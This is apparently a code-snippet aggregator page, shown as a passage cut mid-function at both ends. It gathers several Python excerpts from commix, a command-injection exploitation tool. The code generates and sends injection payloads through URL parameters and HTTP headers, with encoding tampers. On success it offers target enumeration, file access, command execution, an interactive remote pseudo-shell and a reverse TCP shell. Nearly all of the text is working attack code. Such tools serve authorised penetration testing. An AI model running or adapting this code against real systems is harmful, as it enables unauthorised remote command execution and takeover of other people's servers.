              sys.stdout.flush()
              
          except KeyboardInterrupt: 
            raise
          
          except:
            percent = ((num_of_chars * 100) / total)
            if percent == 100:
              if no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
                  sys.stdout.flush()
                else:
                  percent = ""
                break
              else:
                percent = str(percent)+"%"
              #Print logs notification message
              percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              print ""
              logs.logs_notification(filename)
              raise
            else:
              percent = str(percent)+"%"
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response <= 1 and how_long >= delay) or \
          (url_time_response >= 2 and how_long > delay) :

            if len(TAG) == output_length:
              found = True
              no_result = False
              
              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.upload_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
              
              # Check for any enumeration options.
              tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

              # Check for any enumeration options.
              tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

              # Pseudo-Terminal shell
              go_back = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '?' for shell options)"
                  while True:
                    try:
                      cmd = raw_input("Shell > ")
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        if cmd == "?":
                          menu.shell_options()
                          continue
                        elif cmd.lower() == "quit":
                          logs.logs_notification(filename)
                          sys.exit(0)
                        elif cmd.lower() == "back":
                          go_back = True
                          break
                        else:
                          pass
                        
                      else:
                        # The main command injection exploitation.
                        check_how_long, output  = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

                        if menu.options.verbose:
                          print ""
                          
                        if output != "" and check_how_long != 0 :
                          print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                          print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
                        else:
                          print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
                        
                    except KeyboardInterrupt: 
                      raise
                      
                elif gotshell in settings.CHOISE_NO:
                  if menu.options.verbose:
                    sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
                    sys.stdout.flush()
                  break
                
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
                  
            break
    
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 42
0
def eb_injection_handler(url, delay, filename, http_request_method):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based code injection technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  url = eb_injector.warning_detection(url, http_request_method)
  
  if not settings.LOAD_SESSION:
    info_msg = "Testing the " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            
          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
              payload = payload +  TAG + ""

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)
              else:
                payload = re.sub(" ", "%20", payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                sys.stdout.write("\n" + settings.print_payload(payload))

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # if need page reload
              if menu.options.url_reload: 
                time.sleep(delay)
                response = urllib.urlopen(url)
                
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The (" + http_request_method + ")" 
            success_msg += found_vuln_parameter + header_name
            success_msg += the_type + " is vulnerable to " + injection_type + "."
            print settings.print_success_msg(success_msg)
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL

            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass

            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
            
            if not menu.file_access_options() and not menu.options.os_cmd:
              print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                file_access_again = raw_input(settings.print_question_msg(question_msg)).lower()
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again  == "":
                    file_access_again  = "enter"
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                print ""

            # Check if defined single cmd.
            if menu.options.os_cmd:
              if not menu.file_access_options():
                print ""
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "  
              gotshell = raw_input(settings.print_question_msg(question_msg)).lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                        warn_msg = "You are already into an 'os_shell' mode." 
                        print settings.print_warning_msg(warn_msg)+ "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = eb_injector.injection_results(response, TAG, cmd)
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          err_msg = "The reverse TCP connection has been failed!"
                          print settings.print_critical_msg(err_msg)
                      else:
                        pass
                        
                    else:
                      # The main command injection exploitation.
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            
                      # if need page reload
                      if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      
                      #if shell:
                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print "\n" + settings.print_error_msg(err_msg) + "\n"
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg) + "\n"
                pass
              
              
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 43
0
def do_check(url, filename):

    classic_state = False
    eval_based_state = False
    time_based_state = False
    file_based_state = False

    # Check if defined "--delay" option.
    if menu.options.delay:
        delay = menu.options.delay
    else:
        delay = settings.DELAY

    # Do authentication if needed.
    if menu.options.auth_url and menu.options.auth_data:
        authentication.auth_process()
    elif menu.options.auth_url or menu.options.auth_data:
        print Back.RED + "(x) Error: You must specify both login panel URL and login parameters.\n" + Style.RESET_ALL
        sys.exit(0)
    else:
        pass

    # Check if HTTP Method is GET or POST.
    header_name = ""
    if not menu.options.data:
        http_request_method = "GET"
        if not settings.COOKIE_INJECTION and not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION:
            url = parameters.do_GET_check(url)
        check_parameter = parameters.vuln_GET_param(url)
        the_type = " parameter "

    else:
        http_request_method = "POST"
        parameter = menu.options.data
        parameter = parameters.do_POST_check(parameter)
        check_parameter = parameters.vuln_POST_param(parameter, url)
        the_type = " parameter "

    # Load modules
    modules_handler.load_modules(url, http_request_method, filename)

    # Cookie Injection
    if settings.COOKIE_INJECTION == True:
        header_name = " Cookie"
        check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
        the_type = " HTTP header "

    # User-Agent Injection
    elif settings.USER_AGENT_INJECTION == True:
        header_name = " User-Agent"
        check_parameter = ""
        the_type = " HTTP header "

    # Referer Injection
    elif settings.REFERER_INJECTION == True:
        header_name = " Referer"
        check_parameter = ""
        the_type = " HTTP header "

    else:
        pass

    if len(check_parameter) != 0:
        check_parameter = " '" + check_parameter + "'"

    print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."

    # Estimating the response time (in seconds)
    delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)

    # Check all injection techniques
    if not menu.options.tech:
        # Check if it is vulnerable to classic command injection technique.
        if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
            classic_state = True

        # Check if it is vulnerable to eval-based command injection technique.
        if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
            eval_based_state = True

        # Check if it is vulnerable to time-based blind command injection technique.
        if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
            time_based_state = True

        # Check if it is vulnerable to file-based semiblind command injection technique.
        if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
            file_based_state = True

    else:
        # Check if it is vulnerable to classic command injection technique.
        if "classic" in menu.options.tech or len(menu.options.tech) <= 4 and "c" in menu.options.tech:
            # Check if classic results-based command injection technique succeeds.
            if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
                classic_state = True
        elif menu.options.tech == "classic":
            cb_handler.exploitation(url, delay, filename, http_request_method)
        else:
            classic_state = False

        # Check if it is vulnerable to eval-based command injection technique.
        if "eval-based" in menu.options.tech or len(menu.options.tech) <= 4 and "e" in menu.options.tech:
            # Check if eval-based command injection technique succeeds.
            if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
                eval_based_state = True
        elif menu.options.tech == "eval-based":
            eb_handler.exploitation(url, delay, filename, http_request_method)
        else:
            eval_based_state = False

        # Check if it is vulnerable to time-based blind command injection technique.
        if "time-based" in menu.options.tech or len(menu.options.tech) <= 4 and "t" in menu.options.tech:
            # Check if time-based blind command injection technique succeeds.
            if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
                time_based_state = True
        elif menu.options.tech == "time-based":
            tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
        else:
            time_based_state = False

        # Check if it is vulnerable to file-based semiblind command injection technique.
        if "file-based" in menu.options.tech or len(menu.options.tech) <= 4 and "f" in menu.options.tech:
            # Check if file-based semiblind command injection technique succeeds.
            if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
                file_based_state = True
        elif menu.options.tech == "file-based":
            fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
        else:
            file_based_state = False

    if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False:
        info_msg = (
            "(x) Critical: The tested ("
            + http_request_method
            + ")"
            + check_parameter
            + " parameter appear to be not injectable."
        )
        if not menu.options.alter_shell:
            info_msg += " Use the option '--alter-shell'"
        else:
            info_msg += " Remove the option '--alter-shell'"
        info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
        print Back.RED + info_msg + Style.RESET_ALL

    # else:
    #   print ""
    sys.exit(0)
Esempio n. 44
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print("")
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = _urllib.parse.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = _urllib.parse.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + _urllib.parse.quote(")}") in payload:
                payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print(settings.print_payload(payload))
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating payload for the injection..."
                print(settings.print_info_msg(info_msg))
                print(settings.print_payload(payload)) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print(settings.print_error_msg(err_msg))
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
